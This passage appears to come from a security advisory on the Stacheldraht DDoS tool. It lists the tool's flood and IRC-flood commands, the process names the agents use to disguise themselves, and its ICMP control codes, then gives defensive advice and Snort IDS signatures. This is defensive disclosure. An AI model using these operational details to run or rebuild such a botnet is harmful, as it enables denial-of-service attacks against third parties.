.mstream .mhavoc .mrandom .mip .mfdns .msort
.showalive .madd .mlist .msadd .msrem .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .forceit .left .enter
The following commands have been added since the first versions
of Stacheldraht:
.mack Sends a TCP ACK flood.
.mnul Send a NULL flood, which is like a TCP SYN flood, but with TCP flags
set to 0.
.mstream Send a stream attack flood.
(see http://xforce.iss.net/alerts/advise48.php)
.mhavoc Send a "HAVOC" flood. This sends mixed ICMP, UDP, SYN, TCP random
flags and IP headers simultaneously.
.mrandom Sends a flood of packets with random TCP headers.
.mip Sends a flood of regular IP headers.
.mfdns Sets the source port for floods to port 53.
.msadd Add a master server to the list of master servers.
.forceit This will cause a .mstop command to stop all agents from flooding, even
if they are not flooding.
.left Tells you how much time is left before an agent stops flooding.
IRC flooding commands:
.enter Enter the IRC flooding interface.
.part Part a channel.
.join Join a channel.
.msg Send a message flood.
In this version, the user is prompted for a password when building
the binaries. There is no default password; however, there are
some default values used. When running, the agent "td" uses the
process name "(kswapd)". When it spawns child processes, they are
named "httpd". The master server "mserv" uses the process name
"(httpd)". When the master server is communicating with the
agent, ICMP packets are used. Each command is identified by the
ICMP ID header field. In the version obtained by the X-Force, the
values are as follows.
For the network flooding commands and replies:
699 Add an IP address to the list of addresses to be flooded
6666 Send IP header flood
7778 Send Stream attack
9000 Add new master server to the Stacheldraht network
9000 Spoof test reply
9001 Remove master server
9002 Distribute new versions of the agent
9003 Shutdown agent
9004 Set the amount of time to flood
9005 Set the ICMP packet size for ICMP-based floods
9006 Set the UDP packet size for UDP-based floods
9007 Set the port range for SYN floods
9012 Start a UDP flood
9013 Start a SYN flood
9014 Set the port for SYN floods
9015 Stop flooding
9016 Change spoofing mode
9017 Replies from the client
9028 Send Smurf attack
9055 Send ICMP flood
9113 Start an ACK flood
9213 Start a NULL flood
9668 Spoof test
9934 Send Havoc flood
9935 Send random TCP header flood
9936 Send DNS packet flood
For the IRC flooding commands:
1 Join IRC
4 Part Channel
5 Join Channel
6 Message Flood
SOLUTION
Because the programs use ICMP_ECHOREPLY packets for communication,
it will be very difficult (if not impossible) to block it without
breaking most Internet programs that rely on ICMP. The Phrack
paper on LOKI states:
The only sure way to destroy this channel is to deny ALL
ICMP_ECHO traffic into your network.
Short of rejecting this traffic, it will instead be necessary to
observe the difference between "normal" use of ICMP_ECHO and
ICMP_ECHOREPLY packets by programs like "ping". This will not be
an easy task, especially on large networks. (See the LOKI paper
for more details.)
The real defense is to make sure that *all* systems are kept up to
date with security patches, unnecessary services are turned off,
and competent system administrators are running and monitoring
every Unix system on your network.
Max Vision wrote seven IDS signatures that detect the default
configuration of stacheldraht, as presented in Dave's excellent
writeup. They are available at Whitehats and below:
alert TCP $EXTERNAL any -> $INTERNAL 16660 (msg: "stacheldraht client"; flags: S;)
alert ICMP $EXTERNAL any -> $INTERNAL any (msg: "stacheldraht client-check"; content: "skillz"; itype: 0; icmp_id: 666;)
alert ICMP $EXTERNAL any -> $INTERNAL any (msg: "stacheldraht client-check-gag"; content: "gesundheit!"; itype: 0; icmp_id: 668;)
alert ICMP $EXTERNAL any -> $INTERNAL any (msg: "stacheldraht client-spoofworks"; content: "spoofworks"; itype: 0; icmp_id: 1000;)
alert ICMP $INTERNAL any -> $EXTERNAL any (msg: "stacheldraht server-response"; content: "ficken"; itype: 0; icmp_id: 667;)
alert ICMP $INTERNAL any -> $EXTERNAL any (msg: "stacheldraht server-response-gag"; content: "sicken"; itype: 0; icmp_id: 669;)
alert ICMP 3.3.3.3/32 any -> any any (msg: "stacheldraht server-spoof"; itype: 0; icmp_id: 666;)